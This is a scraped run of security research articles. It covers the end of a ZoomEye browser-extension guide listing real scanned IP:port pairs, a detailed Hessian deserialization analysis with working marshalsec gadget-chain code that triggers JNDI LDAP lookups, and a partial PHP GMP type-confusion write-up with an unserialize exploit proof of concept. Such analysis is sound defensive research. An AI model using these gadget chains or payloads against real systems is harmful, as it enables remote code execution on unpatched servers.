并且对于chrome来说,他有一套自己的安全体系,如果你得插件作用于多个域名下,那么他会在审核插件之前加入额外的审核,如果想要快速提交自己的插件,那么你就必须遵守chrome的规则。
你可以在chrome的开发者信息中心完成这些。
Zoomeye Tools 使用全解
安装
chromium系的所有浏览器都可以直接下载
初次安装完成时应该为
使用方法
由于Zoomeye Tools提供了两个功能,一个是Zoomeye辅助工具,一个是Zoomeye preview.
zoomeye 辅助工具
首先第一个功能是配合Zoomeye的,只会在Zoomeye域下生效,这个功能不需要登录zoomeye。
当我们打开Zoomeye之后搜索任意banner,等待页面加载完成后,再点击右上角的插件图标,就能看到多出来的两条选项。
如果我们选择copy all ip with LF,那么剪切板就是
123456789101112131415161718192023.225.23.22:888323.225.23.19:888323.225.23.20:8883149.11.28.76:10443149.56.86.123:10443149.56.86.125:10443149.233.171.202:10443149.11.28.75:10443149.202.168.81:10443149.56.86.116:10443149.129.113.51:10443149.129.104.246:10443149.11.28.74:10443149.210.159.238:10443149.56.86.113:10443149.56.86.114:10443149.56.86.122:10443149.100.174.228:10443149.62.147.11:10443149.11.130.74:10443如果我们选择copy all url with port
1'23.225.23.22:8883','23.225.23.19:8883','23.225.23.20:8883','149.11.28.76:10443','149.56.86.123:10443','149.56.86.125:10443','149.233.171.202:10443','149.11.28.75:10443','149.202.168.81:10443','149.56.86.116:10443','149.129.113.51:10443','149.129.104.246:10443','149.11.28.74:10443','149.210.159.238:10443','149.56.86.113:10443','149.56.86.114:10443','149.56.86.122:10443','149.100.174.228:10443','149.62.147.11:10443','149.11.130.74:10443'Zoomeye Preview
第二个功能是一个简易版本的Zoomeye,这个功能需要登录Zoomeye。
在任意域我们点击右上角的Login Zoomeye,如果你之前登陆过Zoomeye那么会直接自动登录,如果没有登录,则需要在telnet404页面登录。登录完成后等待一会儿就可以加载完成。
在访问网页时,点击右上角的插件图标,我们就能看到相关ip的信息以及开放端口
写在最后
最后我们上传chrome开发者中心之后只要等待审核通过就可以发布出去了。
最终chrome插件下载链接:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1115/
-
Hessian 反序列化及相关利用链
作者:Longofo@知道创宇404实验室
时间:2020年2月20日
英文版本:https://paper.seebug.org/1137/前不久有一个关于Apache Dubbo Http反序列化的漏洞,本来是一个正常功能(通过正常调用抓包即可验证确实是正常功能而不是非预期的Post),通过Post传输序列化数据进行远程调用,但是如果Post传递恶意的序列化数据就能进行恶意利用。Apache Dubbo还支持很多协议,例如Dubbo(Dubbo Hessian2)、Hessian(包括Hessian与Hessian2,这里的Hessian2与Dubbo Hessian2不是同一个)、Rmi、Http等。Apache Dubbo是远程调用框架,既然Http方式的远程调用传输了序列化的数据,那么其他协议也可能存在类似问题,例如Rmi、Hessian等。@pyn3rd师傅之前在twiter发了关于Apache Dubbo Hessian协议的反序列化利用,Apache Dubbo Hessian反序列化问题之前也被提到过,这篇文章里面讲到了Apache Dubbo Hessian存在反序列化被利用的问题,类似的还有Apache Dubbo Rmi反序列化问题。之前也没比较完整的去分析过一个反序列化组件处理流程,刚好趁这个机会看看Hessian序列化、反序列化过程,以及marshalsec工具中对于Hessian的几条利用链。
关于序列化/反序列化机制
序列化/反序列化机制(或者可以叫编组/解组机制,编组/解组比序列化/反序列化含义要广),参考marshalsec.pdf,可以将序列化/反序列化机制分大体分为两类:
- 基于Bean属性访问机制
- 基于Field机制
基于Bean属性访问机制
- SnakeYAML
- jYAML
- YamlBeans
- Apache Flex BlazeDS
- Red5 IO AMF
- Jackson
- Castor
- Java XMLDecoder
- ...
它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用
getter(xxx)
和setter(xxx)
访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。基于Field机制
基于Field机制是通过特殊的native(native方法不是java代码实现的,所以不会像Bean机制那样调用getter、setter等更多的java方法)方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,不是通过getter、setter方式对属性赋值(下面某些处理器如果进行了特殊指定或配置也可支持Bean机制方式)。在ysoserial中的payload是基于原生Java Serialization,marshalsec支持多种,包括上面列出的和下面列出的。
- Java Serialization
- Kryo
- Hessian
- json-io
- XStream
- ...
就对象进行的方法调用而言,基于字段的机制通常通常不构成攻击面。另外,许多集合、Map等类型无法使用它们运行时表示形式进行传输/存储(例如Map,在运行时存储是通过计算了对象的hashcode等信息,但是存储时是没有保存这些信息的),这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器(例如Hessian中有专门的MapSerializer转换器)。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法,例如Hessian中如果是反序列化map类型,会调用MapDeserializer处理map,期间map的put方法被调用,map的put方法又会计算被恢复对象的hash造成hashcode调用(这里对hashcode方法的调用就是前面说的必须调用攻击者提供的对象上的方法),根据实际情况,可能hashcode方法中还会触发后续的其他方法调用。
Hessian简介
Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。本文主要讲解Hessian的序列化/反序列化。
下面做个简单测试下Hessian Serialization与Java Serialization:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354//Student.javaimport java.io.Serializable;public class Student implements Serializable {private static final long serialVersionUID = 1L;private int id;private String name;private transient String gender;public int getId() {System.out.println("Student getId call");return id;}public void setId(int id) {System.out.println("Student setId call");this.id = id;}public String getName() {System.out.println("Student getName call");return name;}public void setName(String name) {System.out.println("Student setName call");this.name = name;}public String getGender() {System.out.println("Student getGender call");return gender;}public void setGender(String gender) {System.out.println("Student setGender call");this.gender = gender;}public Student() {System.out.println("Student default constractor call");}public Student(int id, String name, String gender) {this.id = id;this.name = name;this.gender = gender;}@Overridepublic String toString() {return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";}}123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293//HJSerializationTest.javaimport com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class HJSerializationTest {public static <T> byte[] hserialize(T t) {byte[] data = null;try {ByteArrayOutputStream os = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(os);output.writeObject(t);data = os.toByteArray();} catch (Exception e) {e.printStackTrace();}return data;}public static <T> T hdeserialize(byte[] data) {if (data == null) {return null;}Object result = null;try {ByteArrayInputStream is = new ByteArrayInputStream(data);HessianInput input = new HessianInput(is);result = input.readObject();} catch (Exception e) {e.printStackTrace();}return (T) result;}public static <T> byte[] jdkSerialize(T t) {byte[] data = null;try {ByteArrayOutputStream os = new ByteArrayOutputStream();ObjectOutputStream output = new ObjectOutputStream(os);output.writeObject(t);output.flush();output.close();data = os.toByteArray();} catch (Exception e) {e.printStackTrace();}return data;}public static <T> T jdkDeserialize(byte[] data) {if (data == null) {return null;}Object result = null;try {ByteArrayInputStream is = new ByteArrayInputStream(data);ObjectInputStream input = new ObjectInputStream(is);result = input.readObject();} catch (Exception e) {e.printStackTrace();}return (T) result;}public static void main(String[] args) {Student stu = new Student(1, "hessian", "boy");long htime1 = System.currentTimeMillis();byte[] hdata = hserialize(stu);long htime2 = System.currentTimeMillis();System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time:" + (htime2 - htime1));long htime3 = System.currentTimeMillis();Student hstudent = hdeserialize(hdata);long htime4 = System.currentTimeMillis();System.out.println("hessian deserialize result:" + hstudent + "," + "cost time:" + (htime4 - htime3));System.out.println();long jtime1 = System.currentTimeMillis();byte[] jdata = jdkSerialize(stu);long jtime2 = System.currentTimeMillis();System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time:" + (jtime2 - jtime1));long jtime3 = System.currentTimeMillis();Student jstudent = jdkDeserialize(jdata);long jtime4 = System.currentTimeMillis();System.out.println("jdk deserialize result:" + jstudent + "," + "cost time:" + (jtime4 - jtime3));}}结果如下:
12345hessian serialize result length = 64,cost time:45hessian deserialize result:Student(id=1,name=hessian,gender=null),cost time:3jdk serialize result length = 100,cost time:5jdk deserialize result:Student(id=1,name=hessian,gender=null),cost time:43通过这个测试可以简单看出Hessian反序列化占用的空间比JDK反序列化结果小,Hessian序列化时间比JDK序列化耗时长,但Hessian反序列化很快。并且两者都是基于Field机制,没有调用getter、setter方法,同时反序列化时构造方法也没有被调用。
Hessian概念图
下面的是网络上对Hessian分析时常用的概念图,在新版中是整体也是这些结构,就直接拿来用了:
- Serializer:序列化的接口
- Deserializer :反序列化的接口
- AbstractHessianInput :hessian自定义的输入流,提供对应的read各种类型的方法
- AbstractHessianOutput :hessian自定义的输出流,提供对应的write各种类型的方法
- AbstractSerializerFactory
- SerializerFactory :Hessian序列化工厂的标准实现
- ExtSerializerFactory:可以设置自定义的序列化机制,通过该Factory可以进行扩展
- BeanSerializerFactory:对SerializerFactory的默认object的序列化机制进行强制指定,指定为使用BeanSerializer对object进行处理
Hessian Serializer/Derializer默认情况下实现了以下序列化/反序列化器,用户也可通过接口/抽象类自定义序列化/反序列化器:
序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化;反序列化时也会根据对象、属性不同类型选择不同的反序列化器;每个类型序列化器中还有具体的FieldSerializer。这里注意下JavaSerializer/JavaDeserializer与BeanSerializer/BeanDeserializer,它们不是类型序列化/反序列化器,而是属于机制序列化/反序列化器:
- JavaSerializer:通过反射获取所有bean的属性进行序列化,排除static和transient属性,对其他所有的属性进行递归序列化处理(比如属性本身是个对象)
- BeanSerializer是遵循pojo bean的约定,扫描bean的所有方法,发现存在get和set方法的属性进行序列化,它并不直接直接操作所有的属性,比较温柔
Hessian反序列化过程
这里使用一个demo进行调试,在Student属性包含了String、int、List、Map、Object类型的属性,添加了各属性setter、getter方法,还有readResovle、finalize、toString、hashCode方法,并在每个方法中进行了输出,方便观察。虽然不会覆盖Hessian所有逻辑,不过能大概看到它的面貌:
12345678910111213141516171819202122232425//people.javapublic class People {int id;String name;public int getId() {System.out.println("Student getId call");return id;}public void setId(int id) {System.out.println("Student setId call");this.id = id;}public String getName() {System.out.println("Student getName call");return name;}public void setName(String name) {System.out.println("Student setName call");this.name = name;}}12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485//Student.javapublic class Student extends People implements Serializable {private static final long serialVersionUID = 1L;private static Student student = new Student(111, "xxx", "ggg");private transient String gender;private Map<String, Class<Object>> innerMap;private List<Student> friends;public void setFriends(List<Student> friends) {System.out.println("Student setFriends call");this.friends = friends;}public void getFriends(List<Student> friends) {System.out.println("Student getFriends call");this.friends = friends;}public Map getInnerMap() {System.out.println("Student getInnerMap call");return innerMap;}public void setInnerMap(Map innerMap) {System.out.println("Student setInnerMap call");this.innerMap = innerMap;}public String getGender() {System.out.println("Student getGender call");return gender;}public void setGender(String gender) {System.out.println("Student setGender call");this.gender = gender;}public Student() {System.out.println("Student default constructor call");}public Student(int id, String name, String gender) {System.out.println("Student custom constructor call");this.id = id;this.name = name;this.gender = gender;}private void readObject(ObjectInputStream ObjectInputStream) {System.out.println("Student readObject call");}private Object readResolve() {System.out.println("Student readResolve call");return student;}@Overridepublic int hashCode() {System.out.println("Student hashCode call");return super.hashCode();}@Overrideprotected void finalize() throws Throwable {System.out.println("Student finalize call");super.finalize();}@Overridepublic String toString() {return "Student{" +"id=" + id +", name='" + name + '\'' +", gender='" + gender + '\'' +", innerMap=" + innerMap +", friends=" + friends +'}';}}123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960//SerialTest.javapublic class SerialTest {public static <T> byte[] serialize(T t) {byte[] data = null;try {ByteArrayOutputStream os = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(os);output.writeObject(t);data = os.toByteArray();} catch (Exception e) {e.printStackTrace();}return data;}public static <T> T deserialize(byte[] data) {if (data == null) {return null;}Object result = null;try {ByteArrayInputStream is = new ByteArrayInputStream(data);HessianInput input = new HessianInput(is);result = input.readObject();} catch (Exception e) {e.printStackTrace();}return (T) result;}public static void main(String[] args) {int id = 111;String name = "hessian";String gender = "boy";Map innerMap = new HashMap<String, Class<Object>>();innerMap.put("1", ObjectInputStream.class);innerMap.put("2", SQLData.class);Student friend = new Student(222, "hessian1", "boy");List friends = new ArrayList<Student>();friends.add(friend);Student stu = new Student();stu.setId(id);stu.setName(name);stu.setGender(gender);stu.setInnerMap(innerMap);stu.setFriends(friends);System.out.println("---------------hessian serialize----------------");byte[] obj = serialize(stu);System.out.println(new String(obj));System.out.println("---------------hessian deserialize--------------");Student student = deserialize(obj);System.out.println(student);}}下面是对上面这个demo进行调试后画出的Hessian在反序列化时处理的大致面貌(图片看不清,可以点这个链接查看):
下面通过在调试到某些关键位置具体说明。
获取目标类型反序列化器
首先进入HessianInput.readObject(),读取tag类型标识符,由于Hessian序列化时将结果处理成了Map,所以第一个tag总是M(ascii 77):
在
case 77
这个处理中,读取了要反序列化的类型,接着调用this._serializerFactory.readMap(in,type)
进行处理,默认情况下serializerFactory使用的Hessian标准实现SerializerFactory:先获取该类型对应的Deserializer,接着调用对应Deserializer.readMap(in)进行处理,看下如何获取对应的Derserializer:
第一个红框中主要是判断在
_cacheTypeDeserializerMap
中是否缓存了该类型的反序列化器;第二个红框中主要是判断是否在_staticTypeMap
中缓存了该类型反序列化器,_staticTypeMap
主要存储的是基本类型与对应的反序列化器;第三个红框中判断是否是数组类型,如果是的话则进入数组类型处理;第四个获取该类型对应的Class,进入this.getDeserializer(Class)
再获取该类对应的Deserializer,本例进入的是第四个:这里再次判断了是否在缓存中,不过这次是使用的
_cacheDeserializerMap
,它的类型是ConcurrentHashMap
,之前是_cacheTypeDeserializerMap
,类型是HashMap
,这里可能是为了解决多线程中获取的问题。本例进入的是第二个this.loadDeserializer(Class)
:第一个红框中是遍历用户自己设置的SerializerFactory,并尝试从每一个工厂中获取该类型对应的Deserializer;第二个红框中尝试从上下文工厂获取该类型对应的Deserializer;第三个红框尝试创建上下文工厂,并尝试获取该类型自定义Deserializer,并且该类型对应的Deserializer需要是类似
xxxHessianDeserializer
,xxx表示该类型类名;第四个红框依次判断,如果匹配不上,则使用getDefaultDeserializer(Class),
本例进入的是第四个:_isEnableUnsafeSerializer
默认是为true的,这个值的确定首先是根据sun.misc.Unsafe
的theUnsafe字段是否为空决定,而sun.misc.Unsafe
的theUnsafe字段默认在静态代码块中初始化了并且不为空,所以为true;接着还会根据系统属性com.caucho.hessian.unsafe
是否为false,如果为false则忽略由sun.misc.Unsafe
确定的值,但是系统属性com.caucho.hessian.unsafe
默认为null,所以不会替换刚才的ture结果。因此,_isEnableUnsafeSerializer
的值默认为true,所以上图默认就是使用的UnsafeDeserializer,进入它的构造方法。获取目标类型各属性反序列化器
在这里获取了该类型所有属性并确定了对应得FieldDeserializer,还判断了该类型的类中是否存在ReadResolve()方法,先看类型属性与FieldDeserializer如何确定:
获取该类型以及所有父类的属性,依次确定对应属性的FIeldDeserializer,并且属性不能是transient、static修饰的属性。下面就是依次确定对应属性的FieldDeserializer了,在UnsafeDeserializer中自定义了一些FieldDeserializer。
判断目标类型是否定义了readResolve()方法
接着上面的UnsafeDeserializer构造器中,还会判断该类型的类中是否有
readResolve()
方法:通过遍历该类中所有方法,判断是否存在
readResolve()
方法。好了,后面基本都是原路返回获取到的Deserializer,本例中该类使用的是UnsafeDeserializer,然后回到
SerializerFactory.readMap(in,type)
中,调用UnsafeDeserializer.readMap(in)
:至此,获取到了本例中
com.longofo.deserialize.Student
类的反序列化器UnsafeDeserializer
,以各字段对应的FieldSerializer,同时在Student类中定义了readResolve()
方法,所以获取到了该类的readResolve()
方法。为目标类型分配对象
接下来为目标类型分配了一个对象:
通过
_unsafe.allocateInstance(classType)
分配该类的一个实例,该方法是一个sun.misc.Unsafe
中的native方法,为该类分配一个实例对象不会触发构造器的调用,这个对象的各属性现在也只是赋予了JDK默认值。目标类型对象属性值的恢复
接下来就是恢复目标类型对象的属性值:
进入循环,先调用
in.readObject()
从输入流中获取属性名称,接着从之前确定好的this._fieldMap
中匹配该属性对应的FieldDeserizlizer,然后调用匹配上的FieldDeserializer进行处理。本例中进行了序列化的属性有innerMap(Map类型)、name(String类型)、id(int类型)、friends(List类型),这里以innerMap这个属性恢复为例。以InnerMap属性恢复为例
innerMap对应的FieldDeserializer为
UnsafeDeserializer$ObjectFieldDeserializer
:首先调用
in.readObject(fieldClassType)
从输入流中获取该属性值,接着调用了_unsafe.putObject
这个位于sun.misc.Unsafe
中的native方法,并且不会触发getter、setter方法的调用。这里看下in.readObject(fieldClassType)
具体如何处理的:这里Map类型使用的是MapDeserializer,对应的调用
MapDeserializer.readMap(in)
方法来恢复一个Map对象:注意这里的几个判断,如果是Map接口类型则使用HashMap,如果是SortedMap类型则使用TreeMap,其他Map则会调用对应的默认构造器,本例中由于是Map接口类型,使用的是HashMap。接下来经典的场景就来了,先使用
in.readObject()
(这个过程和之前的类似,就不重复了)恢复了序列化数据中Map的key,value对象,接着调用了map.put(key,value)
,这里是HashMap,在HashMap的put方法会调用hash(key)
触发key对象的key.hashCode()
方法,在put方法中还会调用putVal,putVal又会调用key对象的key.equals(obj)
方法。处理完所有key,value后,返回到UnsafeDeserializer$ObjectFieldDeserializer
中:使用native方法
_unsafe.putObject
完成对象的innerMap属性赋值。Hessian的几条利用链分析
在marshalsec工具中,提供了对于Hessian反序列化可利用的几条链:
- Rome
- XBean
- Resin
- SpringPartiallyComparableAdvisorHolder
- SpringAbstractBeanFactoryPointcutAdvisor
下面分析其中的两条Rome和SpringPartiallyComparableAdvisorHolder,Rome是通过
HashMap.put
->key.hashCode
触发,SpringPartiallyComparableAdvisorHolder是通过HashMap.put
->key.equals
触发。其他几个也是类似的,要么利用hashCode、要么利用equals。SpringPartiallyComparableAdvisorHolder
在marshalsec中有所有对应的Gadget Test,很方便:
这里将Hessian对SpringPartiallyComparableAdvisorHolder这条利用链提取出来看得比较清晰些:
12345678910111213141516171819202122232425262728293031String jndiUrl = "ldap://localhost:1389/obj";SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();bf.setShareableResources(jndiUrl);//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookupReflections.setFieldValue(bf, "logger", new NoOpLog());Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());//反序列化时AspectJAroundAdvice.getOrder会被调用,会触发BeanFactoryAspectInstanceFactory.getOrderAspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);Reflections.setFieldValue(aif, "beanFactory", bf);Reflections.setFieldValue(aif, "name", jndiUrl);//反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发AspectJAroundAdvice.getOrderAbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);//反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发AspectJPointcutAdvisor.getOrderAspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);Reflections.setFieldValue(advisor, "advice", advice);//反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toStringClass<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");Object pcah = Reflections.createWithoutConstructor(pcahCl);Reflections.setFieldValue(pcah, "advisor", advisor);//反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equalsHotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));//反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。12345678910111213141516HashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);看以下触发流程:
经过
HessianInput.readObject()
,到了MapDeserializer.readMap(in)
进行处理Map类型属性,这里触发了HashMap.put(key,value)
:HashMap.put
有调用了HashMap.putVal
方法,第二次put时会触发key.equals(k)
方法:此时key与k分别如下,都是HotSwappableTargetSource对象:
进入
HotSwappableTargetSource.equals
:在
HotSwappableTargetSource.equals
中又触发了各自target.equals
方法,也就是XString.equals(PartiallyComparableAdvisorHolder)
:在这里触发了
PartiallyComparableAdvisorHolder.toString
:发了
AspectJPointcutAdvisor.getOrder
:触发了
AspectJAroundAdvice.getOrder
:这里又触发了
BeanFactoryAspectInstanceFactory.getOrder
:又触发了
SimpleJndiBeanFactory.getTYpe
->SimpleJndiBeanFactory.doGetType
->SimpleJndiBeanFactory.doGetSingleton
->SimpleJndiBeanFactory.lookup
->JndiTemplate.lookup
->Context.lookup
:Rome
Rome相对来说触发过程简单些:
同样将利用链提取出来:
1234567891011121314151617181920212223242526272829//反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookupString jndiUrl = "ldap://localhost:1389/obj";JdbcRowSetImpl rs = new JdbcRowSetImpl();rs.setDataSourceName(jndiUrl);rs.setMatchColumn("foo");//反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toStringToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);//反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCodeEqualsBean root = new EqualsBean(ToStringBean.class, item);//HashMap.put->HashMap.putVal->HashMap.hashHashMap<Object, Object> s = new HashMap<>();Reflections.setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));Reflections.setFieldValue(s, "table", tbl);看下触发过程:
经过
HessianInput.readObject()
,到了MapDeserializer.readMap(in)
进行处理Map类型属性,这里触发了HashMap.put(key,value)
:接着调用了hash方法,其中调用了
key.hashCode
方法:接着触发了
EqualsBean.hashCode->EqualsBean.beanHashCode
:触发了
ToStringBean.toString
:这里调用了
JdbcRowSetImpl.getDatabaseMetadata
,其中又触发了JdbcRowSetImpl.connect
->context.lookup
:小结
通过以上两条链可以看出,在Hessian反序列化中基本都是利用了反序列化处理Map类型时,会触发调用
Map.put
->Map.putVal
->key.hashCode
/key.equals
->...,后面的一系列出发过程,也都与多态特性有关,有的类属性是Object类型,可以设置为任意类,而在hashCode、equals方法又恰好调用了属性的某些方法进行后续的一系列触发。所以要挖掘这样的利用链,可以直接找有hashCode、equals以及readResolve方法的类,然后人进行判断与构造,不过这个工作量应该很大;或者使用一些利用链挖掘工具,根据需要编写规则进行扫描。Apache Dubbo反序列化简单分析
Apache Dubbo Http反序列化
先简单看下之前说到的HTTP问题吧,直接用官方提供的samples,其中有一个dubbo-samples-http可以直接拿来用,直接在
DemoServiceImpl.sayHello
方法中打上断点,在RemoteInvocationSerializingExporter.doReadRemoteInvocation
中反序列化了数据,使用的是Java Serialization方式:抓包看下,很明显的
ac ed
标志:Apache Dubbo Dubbo反序列化
同样使用官方提供的dubbo-samples-basic,默认Dubbo hessian2协议,Dubbo对hessian2进行了魔改,不过大体结构还是差不多,在
MapDeserializer.readMap
是依然与Hessian类似:参考
- https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html
- https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf
- https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
- https://zhuanlan.zhihu.com/p/44787200
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1131/
-
从反序列化到类型混淆漏洞——记一次 ecshop 实例利用
作者:LoRexxar'@知道创宇404实验室
时间:2020年3月31日
English Version: https://paper.seebug.org/1268本文初完成于2020年3月31日,由于涉及到0day利用,所以于2020年3月31日报告厂商、CNVD漏洞平台,满足90天漏洞披露期,遂公开。
前几天偶然看到了一篇在Hackerone上提交的漏洞报告,在这个漏洞中,漏洞发现者提出了很有趣的利用,作者利用GMP的一个类型混淆漏洞,配合相应的利用链可以构造mybb的一次代码执行,这里我们就一起来看看这个漏洞。
以下文章部分细节,感谢漏洞发现者@taoguangchen的帮助。
GMP类型混淆漏洞
漏洞利用条件
- php 5.6.x
- 反序列化入口点
- 可以触发__wakeup的触发点(在php < 5.6.11以下,可以使用内置类)
漏洞详情
gmp.c
1234567891011121314151617static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */{...ALLOC_INIT_ZVAL(zv_ptr);if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)|| Z_TYPE_P(zv_ptr) != IS_ARRAY) {zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);goto exit;}if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {zend_hash_copy(zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),(copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));}zend_object_handlers.c
123456789ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */{zend_object *zobj;zobj = Z_OBJ_P(object);if (!zobj->properties) {rebuild_object_properties(zobj);}return zobj->properties;}从gmp.c中的片段中我们可以大致理解漏洞发现者taoguangchen的原话。
__wakeup
等魔术方法可以导致ZVAL在内存中被修改。因此,攻击者可以将**object转化为整数型或者bool型的ZVAL,那么我们就可以通过Z_OBJ_P
访问存储在对象储存中的任何对象,这也就意味着可以通过zend_hash_copy
覆盖任何对象中的属性,这可能导致很多问题,在一定场景下也可以导致安全问题。或许仅凭借代码片段没办法理解上述的话,但我们可以用实际测试来看看。
首先我们来看一段测试代码
123456789101112131415161718192021222324252627282930313233343536373839<?phpclass obj{var $ryat;function __wakeup(){$this->ryat = 1;}}class b{var $ryat =1;}$obj = new stdClass;$obj->aa = 1;$obj->bb = 2;$obj2 = new b;$obj3 = new stdClass;$obj3->aa =2;$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';$x = unserialize($exploit);$obj4 = new stdClass;var_dump($x);var_dump($obj);var_dump($obj2);var_dump($obj3);var_dump($obj4);?>在代码中我展示了多种不同情况下的环境。
让我们来看看结果是什么?
12345678910111213141516171819202122232425array(1) {[0]=>&int(1)}object(stdClass)#1 (3) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(obj)#5 (1) {["ryat"]=>&int(1)}}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#4 (0) {}我成功修改了第一个声明的对象。
但如果我将反序列化的类改成b会发生什么呢?
1$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';很显然的是,并不会影响到其他的类变量
1234567891011121314151617181920212223242526272829303132333435363738394041array(1) {[0]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>object(b)#5 (1) {["ryat"]=>&object(GMP)#4 (4) {["aa"]=>string(2) "hi"["bb"]=>string(2) "hi"[0]=>*RECURSION*["num"]=>string(2) "32"}}["num"]=>string(2) "32"}}object(stdClass)#1 (2) {["aa"]=>int(1)["bb"]=>int(2)}object(b)#2 (1) {["ryat"]=>int(1)}object(stdClass)#3 (1) {["aa"]=>int(2)}object(stdClass)#6 (0) {}如果我们给class b加一个
__Wakeup
函数,那么又会产生一样的效果。但如果我们把wakeup魔术方法中的变量设置为2
123456789class obj{var $ryat;function __wakeup(){$this->ryat = 2;}}返回的结果可以看出来,我们成功修改了第二个声明的对象。
